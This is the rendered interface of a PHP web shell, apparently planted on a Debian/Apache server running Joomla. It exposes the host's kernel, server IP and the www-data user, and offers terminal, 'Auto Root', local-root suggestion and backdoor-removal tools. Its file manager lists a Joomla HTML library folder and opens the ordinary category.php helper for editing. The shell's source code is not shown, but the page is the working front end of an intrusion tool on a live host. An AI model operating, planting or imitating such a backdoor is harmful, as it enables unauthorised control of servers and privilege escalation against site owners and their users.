Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
cms /
html /
Delete
Unzip
Name
Size
Permission
Date
Action
language
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
access.php
7.96
KB
-rwxr-xr-x
2023-07-08 16:23
actionsdropdown.php
5.6
KB
-rwxr-xr-x
2023-07-08 16:23
adminlanguage.php
1.37
KB
-rwxr-xr-x
2023-07-08 16:23
batch.php
3.13
KB
-rwxr-xr-x
2023-07-08 16:23
behavior.php
31.25
KB
-rwxr-xr-x
2023-07-08 16:23
bootstrap.php
33.1
KB
-rwxr-xr-x
2023-07-08 16:23
category.php
5.53
KB
-rwxr-xr-x
2023-07-08 16:23
content.php
1.92
KB
-rwxr-xr-x
2023-07-08 16:23
contentlanguage.php
1.53
KB
-rwxr-xr-x
2023-07-08 16:23
date.php
2.02
KB
-rwxr-xr-x
2023-07-08 16:23
debug.php
1.43
KB
-rwxr-xr-x
2023-07-08 16:23
dropdown.php
8.78
KB
-rwxr-xr-x
2023-07-08 16:23
email.php
3.65
KB
-rwxr-xr-x
2023-07-08 16:23
form.php
1.68
KB
-rwxr-xr-x
2023-07-08 16:23
formbehavior.php
3.75
KB
-rwxr-xr-x
2023-07-08 16:23
grid.php
10.3
KB
-rwxr-xr-x
2023-07-08 16:23
icons.php
1.51
KB
-rwxr-xr-x
2023-07-08 16:23
jgrid.php
16.18
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.php
3.74
KB
-rwxr-xr-x
2023-07-08 16:23
links.php
2.5
KB
-rwxr-xr-x
2023-07-08 16:23
list.php
6.68
KB
-rwxr-xr-x
2023-07-08 16:23
menu.php
9.6
KB
-rwxr-xr-x
2023-07-08 16:23
number.php
3.49
KB
-rwxr-xr-x
2023-07-08 16:23
rules.php
8.05
KB
-rwxr-xr-x
2023-07-08 16:23
searchtools.php
4.14
KB
-rwxr-xr-x
2023-07-08 16:23
select.php
27.47
KB
-rwxr-xr-x
2023-07-08 16:23
sidebar.php
3.09
KB
-rwxr-xr-x
2023-07-08 16:23
sliders.php
4.24
KB
-rwxr-xr-x
2023-07-08 16:23
sortablelist.php
3.26
KB
-rwxr-xr-x
2023-07-08 16:23
string.php
9.21
KB
-rwxr-xr-x
2023-07-08 16:23
tabs.php
3.14
KB
-rwxr-xr-x
2023-07-08 16:23
tag.php
4.56
KB
-rwxr-xr-x
2023-07-08 16:23
tel.php
2.13
KB
-rwxr-xr-x
2023-07-08 16:23
user.php
1.63
KB
-rwxr-xr-x
2023-07-08 16:23
Save
Rename
<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for categories * * @since 1.5 */ abstract class JHtmlCategory { /** * Cached array of the category items. * * @var array * @since 1.5 */ protected static $items = array(); /** * Returns an array of categories for the given extension. * * @param string $extension The extension option e.g. com_something. * @param array $config An array of configuration options. By default, only * published and unpublished categories are returned. * * @return array * * @since 1.5 */ public static function options($extension, $config = array('filter.published' => array(0, 1))) { $hash = md5($extension . '.' . serialize($config)); if (!isset(static::$items[$hash])) { $config = (array) $config; $db = JFactory::getDbo(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $query = $db->getQuery(true) ->select('a.id, a.title, a.level, a.language') ->from('#__categories AS a') ->where('a.parent_id > 0'); // Filter on extension. $query->where('extension = ' . $db->quote($extension)); // Filter on user access level $query->where('a.access IN (' . $groups . ')'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } // Filter on the language if (isset($config['filter.language'])) { if (is_string($config['filter.language'])) { $query->where('a.language = ' . $db->quote($config['filter.language'])); } elseif (is_array($config['filter.language'])) { foreach ($config['filter.language'] as &$language) { $language = $db->quote($language); } $query->where('a.language IN (' . implode(',', $config['filter.language']) . ')'); } } // Filter on the access if (isset($config['filter.access'])) { if (is_string($config['filter.access'])) { $query->where('a.access = ' . $db->quote($config['filter.access'])); } elseif (is_array($config['filter.access'])) { foreach ($config['filter.access'] as &$access) { $access = $db->quote($access); } $query->where('a.access IN (' . implode(',', $config['filter.access']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; if ($item->language !== '*') { $item->title .= ' (' . $item->language . ')'; } static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } } return static::$items[$hash]; } /** * Returns an array of categories for the given extension. * * @param string $extension The extension option. * @param array $config An array of configuration options. By default, only published and unpublished categories are returned. * * @return array Categories for the extension * * @since 1.6 */ public static function categories($extension, $config = array('filter.published' => array(0, 1))) { $hash = md5($extension . '.' . serialize($config)); if (!isset(static::$items[$hash])) { $config = (array) $config; $user = JFactory::getUser(); $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id, a.title, a.level, a.parent_id, a.language') ->from('#__categories AS a') ->where('a.parent_id > 0'); // Filter on extension. $query->where('extension = ' . $db->quote($extension)); // Filter on user level. $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN (' . $groups . ')'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; if ($item->language !== '*') { $item->title .= ' (' . $item->language . ')'; } static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } // Special "Add to root" option: static::$items[$hash][] = JHtml::_('select.option', '1', JText::_('JLIB_HTML_ADD_TO_ROOT')); } return static::$items[$hash]; } }